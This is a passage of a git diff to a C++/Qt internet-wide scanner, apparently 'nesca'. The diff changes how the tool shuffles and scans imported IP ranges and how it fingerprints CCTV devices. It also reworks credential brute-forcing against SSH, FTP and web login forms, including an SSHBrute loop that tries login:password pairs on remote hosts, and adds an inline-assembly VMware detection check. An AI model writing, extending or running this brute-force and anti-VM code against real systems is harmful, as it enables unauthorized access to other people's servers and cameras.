+ (ip_min[1] * 65536) +
+ (ip_min[2] * 256) +
+ ip_min[3];
+ unsigned long ip2 = (ip_max[0] * 16777216) +
+ (ip_max[1] * 65536) +
+ (ip_max[2] * 256) +
+ ip_max[3];
+
+ if (ip1 > ip2) {
+ stt->doEmitionRedFoundData("Malformed input: check your range (" +
+ QString(curIPStr.c_str()) + ")");
+ }
- gTargets += ip2 - ip1 + 1;
- ++MainStarter::flCounter;
- }
- else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
- {
- ///DUMMY///
- }
- else
- {
- stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
- QString::number(MainStarter::flCounter) +
- "] String-> [" +
- QString(curIPCopy) +
- "]");
- return -1;
- };
- ZeroMemory(curIP, sizeof(curIP));
- };
+ gTargets += ip2 - ip1 + 1;
+ ++MainStarter::flCounter;
+ }
+ else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
+ {
+ ///DUMMY///
+ }
+ else
+ {
+ stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
+ QString::number(MainStarter::flCounter) +
+ "] String-> [" +
+ QString(curIPStr.c_str()) +
+ "]");
+ return -1;
};
- gTargetsNumber = gTargets;
+ };
+ gTargetsNumber = gTargets;
+ stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
- stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
- fclose(fl);
- }
- else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
}
int MainStarter::loadTargets(const char *data) {
@@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
if (MainStarter::flCounter > 0)
{
+ if (!saveBackup) return;
FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL)
{
if (gflIndex < MainStarter::flCounter) {
- sprintf(ipRange, "%s-%d.%d.%d.%d\n",
- currentIP,
+ sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
+ ipsstartfl[gflIndex][0],
+ ipsstartfl[gflIndex][1],
+ ipsstartfl[gflIndex][2],
+ ipsstartfl[gflIndex][3],
ipsendfl[gflIndex][0],
ipsendfl[gflIndex][1],
ipsendfl[gflIndex][2],
@@ -496,7 +484,7 @@ void MainStarter::saver()
{
saverRunning = true;
Sleep(1000);
- while (globalScanFlag)
+ while (saveBackup && globalScanFlag)
{
savingBackUpFile = true;
saveBackupToFile();
@@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
tAddr.s_addr = ntohl(i);
ipVec.push_back(inet_ntoa(tAddr));
- if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
+ if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
std::random_shuffle(ipVec.begin(), ipVec.end());
while (ipVec.size() != 0) {
@@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
if (!globalScanFlag) goto haters_gonna_hate_IPM;
++indexIP;
+
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
-
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
@@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
gTargets = dnsCounter;
gTargetsNumber = gTargets;
stt->doEmitionYellowFoundData("Starting DNS-scan...");
- stt->doEmitionChangeStatus("Scanning...");
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
if (y == -1)
@@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
};
}
+struct Corac {
+ int index;
+ std::string ip;
+};
+
void MainStarter::startImportScan(){
if (MainStarter::flCounter == 0)
{
@@ -1198,56 +1190,120 @@ void MainStarter::startImportScan(){
return;
};
- stt->doEmitionChangeStatus("Scanning...");
- for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
- {
- sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
- ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
- ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
-
- ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
- (ipsstartfl[gflIndex][1] * 65536) +
- (ipsstartfl[gflIndex][2] * 256) +
- ipsstartfl[gflIndex][3];
- ip2 = (ipsendfl[gflIndex][0] * 16777216) +
- (ipsendfl[gflIndex][1] * 65536) +
- (ipsendfl[gflIndex][2] * 256) +
- ipsendfl[gflIndex][3];
+ //std::vector ipVec;
+ std::vector ipVec;
+ struct in_addr tAddr;
+ int ipOffset = 6;
+ //for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
+ for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
+ {
+ //sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
+ // ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
+ // ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
+
+ //ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
+ // (ipsstartfl[gflIndex][1] * 65536) +
+ // (ipsstartfl[gflIndex][2] * 256) +
+ // ipsstartfl[gflIndex][3];
+ //ip2 = (ipsendfl[gflIndex][0] * 16777216) +
+ // (ipsendfl[gflIndex][1] * 65536) +
+ // (ipsendfl[gflIndex][2] * 256) +
+ // ipsendfl[gflIndex][3];
switch (gShuffle) {
case true: {
- std::vector ipVec;
- struct in_addr tAddr;
+ int ipGap = MainStarter::flCounter - gflIndex;
+ if (ipGap < ipOffset)
+ {
+ ipOffset = ipGap;
+ };
+
+ for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
+ {
+ /*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
+ ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
+ ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
+ ip1 = (ipsstartfl[j][0] * 16777216) +
+ (ipsstartfl[j][1] * 65536) +
+ (ipsstartfl[j][2] * 256) +
+ ipsstartfl[j][3];
+ ip2 = (ipsendfl[j][0] * 16777216) +
+ (ipsendfl[j][1] * 65536) +
+ (ipsendfl[j][2] * 256) +
+ ipsendfl[j][3];
+
+ for (unsigned long i = ip1; i <= ip2; ++i)
+ {
+ if (!globalScanFlag) goto haters_gonna_hate_IM;
+
+ tAddr.s_addr = ntohl(i);
+ Corac corac;
+ corac.ip = std::string(inet_ntoa(tAddr));
+ corac.index = coracIndex;
+ ipVec.push_back(corac);
+ }
+ }
- for (unsigned long i = ip1; i <= ip2; ++i) {
+ std::random_shuffle(ipVec.begin(), ipVec.end());
+ for (int k = 0; k < ipVec.size(); ++k)
+ {
+ stt->addColoredIndex(ipVec[k].index);
+ }
- if (!globalScanFlag) break;
- unsigned long offset = ip2 - i;
+ stt->doEmitionUpdatePB2();
+
+ while (ipVec.size() != 0) {
+ ++cIndex;
+ //stt->doEmitionDrawPointerPB2(pointer++);
+ while (cons >= gThreads && globalScanFlag) Sleep(500);
+ if (!globalScanFlag) goto haters_gonna_hate_IM;
- tAddr.s_addr = ntohl(i);
- ipVec.push_back(inet_ntoa(tAddr));
+ ++indexIP;
- if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
+ strcpy(currentIP, ipVec[0].ip.c_str());
+ ipVec.erase(ipVec.begin());
+ verboseProgress(gTargets);
- std::random_shuffle(ipVec.begin(), ipVec.end());
- while (ipVec.size() != 0) {
+ Threader::fireThread(currentIP, (void*(*)(void))_connect);
+ }
- while (cons >= gThreads && globalScanFlag) Sleep(500);
- if (!globalScanFlag) goto haters_gonna_hate_IM;
+ // for (unsigned long i = ip1; i <= ip2; ++i) {
- ++indexIP;
- strcpy(currentIP, ipVec[0].c_str());
- ipVec.erase(ipVec.begin());
- verboseProgress(gTargets);
+ // if (!globalScanFlag) break;
- Threader::fireThread(currentIP, (void*(*)(void))_connect);
- }
- }
- }
+ // tAddr.s_addr = ntohl(i);
+ // ipVec.push_back(inet_ntoa(tAddr));
+
+ // if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) {
+
+ // std::random_shuffle(ipVec.begin(), ipVec.end());
+ // while (ipVec.size() != 0) {
+
+ // while (cons >= gThreads && globalScanFlag) Sleep(500);
+ // if (!globalScanFlag) goto haters_gonna_hate_IM;
+
+ // ++indexIP;
+
+ // strcpy(currentIP, ipVec[0].c_str());
+ // ipVec.erase(ipVec.begin());
+ // verboseProgress(gTargets);
+
+ // Threader::fireThread(currentIP, (void*(*)(void))_connect);
+ // }
+ // }
+ // }
haters_gonna_hate_IM:;
break;
}
case false: {
+ ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
+ (ipsstartfl[gflIndex][1] * 65536) +
+ (ipsstartfl[gflIndex][2] * 256) +
+ ipsstartfl[gflIndex][3];
+ ip2 = (ipsendfl[gflIndex][0] * 16777216) +
+ (ipsendfl[gflIndex][1] * 65536) +
+ (ipsendfl[gflIndex][2] * 256) +
+ ipsendfl[gflIndex][3];
struct in_addr tAddr;
for (unsigned long i = ip1; i <= ip2; ++i) {
@@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() {
}
void MainStarter::createResultFiles() {
+ char fileName[256] = { 0 };
+ sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str());
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
- bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
- if(!res) stt->doEmitionRedFoundData("Failed to crete results.");
+ bool res = CreateDirectoryA(fileName, NULL);
+ if (!res) {
+ int err = GetLastError();
+ if (err != 183)
+ {
+ while (!res) {
+ stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err));
+ res = CreateDirectoryA(fileName, NULL);
+ err = GetLastError();
+ Sleep(1000);
+ }
+ } else {
+ stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err));
+ }
+ } else {
+ stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created.");
+ }
#else
struct stat str = { 0 };
- if (stat(RESULT_DIR_NAME, &str) == -1) {
- mkdir(RESULT_DIR_NAME, 0700);
+ if (stat(fileName, &str) == -1) {
+ mkdir(fileName, 0700);
}
#endif
}
+/* This array will store all of the mutexes available to OpenSSL. */
+static MUTEX_TYPE *mutex_buf = NULL;
+
+static void locking_function(int mode, int n, const char * file, int line)
+{
+ if (mode & CRYPTO_LOCK)
+ MUTEX_LOCK(mutex_buf[n]);
+ else
+ MUTEX_UNLOCK(mutex_buf[n]);
+}
+
+static unsigned long id_function(void)
+{
+ return ((unsigned long)THREAD_ID);
+}
+
+int thread_setup(void)
+{
+ int i;
+
+ mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
+ if (!mutex_buf)
+ return 0;
+ for (i = 0; i < CRYPTO_num_locks(); i++)
+ MUTEX_SETUP(mutex_buf[i]);
+ CRYPTO_set_id_callback(id_function);
+ CRYPTO_set_locking_callback(locking_function);
+ return 1;
+}
+
+int thread_cleanup(void)
+{
+ int i;
+ if (!mutex_buf)
+ return 0;
+ CRYPTO_set_id_callback(NULL);
+ CRYPTO_set_locking_callback(NULL);
+ for (i = 0; i < CRYPTO_num_locks(); i++)
+ MUTEX_CLEANUP(mutex_buf[i]);
+ free(mutex_buf);
+ mutex_buf = NULL;
+ return 1;
+}
+
void MainStarter::start(const char* targets, const char* ports) {
-
+ saveBackup = true;
curl_global_init(CURL_GLOBAL_ALL);
+ thread_setup();
+
createResultFiles();
if (loadTargets(targets) == -1 ||
@@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) {
else if (gMode == 1) startDNSScan();
else startImportScan();
+ saveBackup = false;
+
stt->doEmitionYellowFoundData("Stopping threads...");
- stt->doEmitionChangeStatus("Stopping...");
while (cons > 0 || jsonArr->size() > 0) Sleep(2000);
+
+ thread_cleanup();
stt->doEmitionGreenFoundData("Done. Saved " + QString::number(saved) +
" of " + QString::number(found) + " nodes.");
- stt->doEmitionChangeStatus("Idle");
stt->doEmitionKillSttThread();
}
\ No newline at end of file
diff --git a/MainStarter.h b/MainStarter.h
index 1710834..eb68b1a 100644
--- a/MainStarter.h
+++ b/MainStarter.h
@@ -30,9 +30,8 @@ private: char dnsTarget[256];
MainStarter()
{
horLineFlag = false;
- PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
- AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
- WF = 0;
+ PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
+ camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0;
BrutingThrds = 0;
found = 0;
gTargets = 0;
@@ -77,6 +76,18 @@ private: char dnsTarget[256];
delete[]wfLoginLst;
wfLoginLst = NULL;
};
+ if (ftpPassLst != NULL)
+ {
+ for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
+ delete[]ftpPassLst;
+ ftpPassLst = NULL;
+ };
+ if (ftpLoginLst != NULL)
+ {
+ for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
+ delete[]ftpLoginLst;
+ ftpLoginLst = NULL;
+ };
if (sshlpLst != NULL)
{
for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i];
diff --git a/SSHAuth.cpp b/SSHAuth.cpp
index 97c2256..91f8dfc 100644
--- a/SSHAuth.cpp
+++ b/SSHAuth.cpp
@@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
return 0;
}
-int check_ssh_pass(const char *user, const char *pass,
+int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
const char *userPass, const char *host, int port,
std::string *buffer, const char *banner) {
- int res = -1;
- if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
-
- res = _sshConnect(user, pass, host, port);
+ int res = _sshConnect(user, pass, host, port);
if(res == 0)
{
- stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
+ }
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
@@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
char temp[64] = {0};
char *ptr1 = 0;
int res = -1;
+ int rowIndex = -1;
+ int passCounter = 0;
for(int i = 0; i < MaxSSHPass; ++i)
{
@@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
strncpy(login, temp, ptr1 - temp);
strcpy(pass, ptr1 + 1);
- res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
+
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
+ QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else { rowIndex = -1; }
+ ++passCounter;
+
+ res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
- if(i == 0) return -2; //Failhit
+ if (i == 0) {
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
+ }
+ return -2; //Failhit
+ }
return 1;
}
else if(res == -2)
- {
+ {
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return -2;
};
Sleep(500);
- };
+ };
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return -1;
}
diff --git a/STh.cpp b/STh.cpp
index 57c8d23..c6b62f2 100644
--- a/STh.cpp
+++ b/STh.cpp
@@ -1,6 +1,18 @@
#include "STh.h"
#include "externData.h"
+//BA TablelistView
+void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
+{
+ emit stt->signalChangeBARow(index, loginPass, percentage);
+}
+
+void STh::doEmitionUpdatePB2()
+{
+ cIndex = 0;
+ emit stt->updPB2();
+}
+
void STh::doEmitionShowRedVersion()
{
emit stt->showRedVersion();
@@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
{
emit stt->changeFoundData(str);
}
-void STh::doEmitionBAData(QString str)
-{
- emit stt->changeBAData(str);
-}
-void STh::doEmition_BARedData(QString str)
-{
- emit stt->changeRedBAData(str);
-}
-void STh::doEmition_BAGreenData(QString str)
-{
- emit stt->changeGreenBAData(str);
-}
+
void STh::doEmitionRedFoundData(QString str)
{
emit stt->changeRedFoundData(str);
@@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
{
emit stt->changeDebugFoundData(str);
}
-void STh::doEmitionChangeStatus(QString str)
-{
- emit stt->changeStatus(str);
-}
void STh::doEmitionKillSttThread()
{
emit stt->killSttThread();
diff --git a/STh.h b/STh.h
index 1b102ba..3844efe 100644
--- a/STh.h
+++ b/STh.h
@@ -14,31 +14,44 @@ class STh : public QThread
private:
QString target = "";
QString ports = "";
+ QList coloredIndexes;
public:
+ void addColoredIndex(int index)
+ {
+ coloredIndexes.push_back(index);
+ }
+ QList getColoredIndexes()
+ {
+ return coloredIndexes;
+ }
+
void setMode(short mode);
void setTarget(QString target);
void setPorts(QString ports);
+ static int baModelSize();
+
static void doEmitionDataSaved(bool status);
static void doEmitionStartScanIP();
static void doEmitionStartScanDNS();
static void doEmitionStartScanImport();
static void doEmitionAddIncData(QString ip, QString str);
static void doEmitionAddOutData(QString str);
- static void doEmition_BAGreenData(QString str);
- static void doEmition_BARedData(QString str);
+
static void doEmitionFoundData(QString str);
static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString);
- static void doEmitionChangeStatus(QString);
static void doEmitionKillSttThread();
- static void doEmitionBAData(QString str);
+
static void doEmitionDebugFoundData(QString);
static void doEmitionShowRedVersion();
static void doEmitionUpdateArc(unsigned long gTargets);
static void doEmitionBlockButton(bool value);
+ //BA TablelistView
+ static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
+ static void doEmitionUpdatePB2();
signals:
public: signals: void showRedVersion();
@@ -46,20 +59,20 @@ public: signals: void startScanIP();
public: signals: void startScanDNS();
public: signals: void startScanImport();
public: signals: void signalDataSaved(bool);
-public: signals: void changeGreenBAData(QString);
-public: signals: void changeRedBAData(QString);
-public: signals: void changeBAData(QString);
+public: signals : void updPB2();
+
public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString);
public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString);
-public: signals: void changeStatus(QString);
public: signals: void killSttThread();
public: signals: void sIncData(QString, QString);
public: signals : void sOutData(QString);
public: signals : void signalUpdateArc(unsigned long);
public: signals : void signalBlockButton(bool);
+ //BA TablelistView
+public: signals : void signalChangeBARow(int, QString, QString);
protected:
void run();
diff --git a/Utils.cpp b/Utils.cpp
index 97f6193..da4753b 100644
--- a/Utils.cpp
+++ b/Utils.cpp
@@ -1,6 +1,36 @@
#include "Utils.h"
#include
+std::string Utils::startDate;
+
+void Utils::emitScaryError() {
+ __asm{
+ push edx
+ push ecx
+ push ebx
+
+ mov eax, 'VMXh'
+ mov ebx, 0
+ mov ecx, 10
+ mov edx, 'VX'
+
+ in eax, dx
+ cmp ebx, 'VMXh'
+
+ pop ebx
+ pop ecx
+ pop edx
+ };
+}
+
+
+void Utils::saveStartDate() {
+ startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
+}
+std::string Utils::getStartDate() {
+ return startDate;
+}
+
int Utils::isDigest(const std::string *buffer) {
if (Utils::ustrstr(buffer, "401 authorization") != -1
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
diff --git a/Utils.h b/Utils.h
index 039e364..bce3b4a 100644
--- a/Utils.h
+++ b/Utils.h
@@ -5,6 +5,7 @@
#include
#include
#include
+#include
using namespace std;
@@ -23,6 +24,7 @@ struct my_equal {
};
class Utils {
+private: static std::string startDate;
public:
static int isDigest(const std::string *buffer);
@@ -82,6 +84,9 @@ class Utils {
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
static std::vector splitToStrVector(const std::string &s, char delim);
static std::vector splitToIntVector(const std::string &s, char delim);
+ static void saveStartDate();
+ static std::string getStartDate();
+ static void emitScaryError();
};
#endif // UTILS_H
diff --git a/WebformWorker.cpp b/WebformWorker.cpp
index 09a6e1c..c4f717c 100644
--- a/WebformWorker.cpp
+++ b/WebformWorker.cpp
@@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
) {
- stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
- QString(login) + ":" + QString(pass));
strcpy(result.login, login);
strcpy(result.pass, pass);
return result;
@@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
+ int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
@@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
Connector con;
if(con.nConnect(nip, port, &buffer) <= 0) return result;
- if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
- "; login/pass: "+ QString(login) + ":" + QString(pass) +
- "; - Progress: (" +
- QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ //stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
+ // QString(login) + ":" + QString(pass),
+ // QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
result = parseResponse(ip, port, &buffer, formVal, login, pass);
if(i == 0) ++i;
@@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
+ int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
@@ -136,11 +143,19 @@ lopaStr WFClass::doPostCheck(const char *ip,
std::string buffer;
Connector con;
- if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
-
- if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
- QString(login) + ":" + QString(pass) + "; - Progress: (" +
- QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
+ if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
+
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ //stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
+ // QString(login) + ":" + QString(pass),
+ // QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
++passCounter;
return parseResponse(ip, port, &buffer, formVal, login, pass);
diff --git a/WebformWorker.h b/WebformWorker.h
index 2f18ccd..13058f8 100644
--- a/WebformWorker.h
+++ b/WebformWorker.h
@@ -24,7 +24,7 @@ class WFClass : BruteUtils {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
- ++WF;
+ //++WF;
++BrutingThrds;
//BConInc();
diff --git a/externData.h b/externData.h
index 1670e0b..aa5db7c 100644
--- a/externData.h
+++ b/externData.h
@@ -24,20 +24,26 @@ extern QJsonArray *jsonArr;
extern unsigned long long gTargetsNumber;
extern long long unsigned int gTargets;
extern std::atomic cons, BrutingThrds, gThreads;
-extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
+extern char **loginLst, **passLst,
+**wfLoginLst, **wfPassLst,
+**ftpLoginLst, **ftpPassLst,
+**sshlpLst;
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
widgetIsHidden, gNegDebugMode,
gDebugMode, horLineFlag, gPingNScan, gShuffle,
BALogSwitched;
extern int found, indexIP, gMode,
- MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
+ MaxPass, MaxLogin,
+ MaxWFLogin, MaxWFPass,
+ MaxFTPLogin, MaxFTPPass,
+ MaxSSHPass,
gMaxBrutingThreads,
- gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
- AnomC1, filtered, Overl, Lowl, Alive, saved,
- Susp,
- WF,
+ gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH,
+ camerasC1, filtered, Overl, Alive, saved,
+ other,
baCount,
- ssh, globalPinger, gPingTimeout;
+ ssh, globalPinger, gPingTimeout,
+ cIndex;
extern unsigned int Activity;
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
trcPort[32], trcSrvPortLine[32],
diff --git a/finder.cpp b/finder.cpp
index d3bdbcd..9d291c2 100644
--- a/finder.cpp
+++ b/finder.cpp
@@ -93,7 +93,7 @@ char *_findLast(char *str, char *delim)
return (char *)(str + savedPosition);
}
-char *GetCodePage(const char *str)
+char *getCodePage(const char *str)
{
char cdpg[32] = {0};
char *ptr1 = strstri(str, "charset=");
@@ -201,7 +201,7 @@ char *GetCodePage(const char *str)
else return "NULL";
}
-int globalSearchNeg(const std::string *buff, const char *ip, int port, const char *cp)
+bool isNegative(const std::string *buff, const char *ip, int port, const char *cp)
{
QTextCodec *codec;
QString codedStr;
@@ -230,7 +230,7 @@ int globalSearchNeg(const std::string *buff, const char *ip, int port, const cha
for (auto negEntry : FileUpdater::negativeVector) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
- if (!globalScanFlag) return -1;
+ if (!globalScanFlag) return true;
if (Utils::ustrstr(std::string(codedStr.toLocal8Bit().data()), negEntry) != -1){
if (gNegDebugMode)
@@ -243,11 +243,27 @@ int globalSearchNeg(const std::string *buff, const char *ip, int port, const cha
}
++filtered;
- return -1;
+ return true;
}
}
-}
+ std::size_t ptr1 = buff->find("\r\n\r\n");
+ if (ptr1 != -1) {
+ int sz = buff->size();
+ int nSz = buff->substr(ptr1, sz).size() - 4;
+ if (nSz < 100) {
+ if (gNegDebugMode)
+ {
+ QTextCodec *nCodec = QTextCodec::codecForName("Windows-1251");
+ stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) +
+ "" + "]\tNegative hit: Size:" + QString::number(nSz));
+ }
+ return true;
+ }
+ }
+ return false;
+}
int globalSearchPrnt(const std::string *buff)
{
if(Utils::ustrstr(buff, "en/_top.htm") != -1 || Utils::ustrstr(buff, "cannon http server") != -1
@@ -270,29 +286,32 @@ int globalSearchPrnt(const std::string *buff)
return 0;
}
-
int sharedDetector(const char * ip, int port, const std::string *buffcpy, const char *cp) {
+ if (buffcpy->size() == 0) {
+ if (port == 9000) {
+ if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV
+ else if (HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS
+ else if (HikVis::checkRVI(ip, port)) return 5; //RVI
+ else return -1;
+ }
+ else if(port == 8000) {
+ if (HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS
+ else if (HikVis::checkRVI(ip, port)) return 5; //RVI
+ //else if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV
+ else return -1;
+ }
+ else if (port == 37777) {
+ if (HikVis::checkRVI(ip, port)) return 5; //RVI
+ else if(HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS
+ else if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV
+ else return -1;
+ }
+ }
+
int isDig = Utils::isDigest(buffcpy);
- if (isDig == 1) return 101;
- else if (isDig == 0) return 1;
+ if (isDig != -1) return 2; //Auth
- if(Utils::ustrstr(buffcpy, "401 authorization") != -1
- || Utils::ustrstr(buffcpy, "401 unauthorized") != -1
- || (Utils::ustrstr(buffcpy, "www-authenticate") != -1
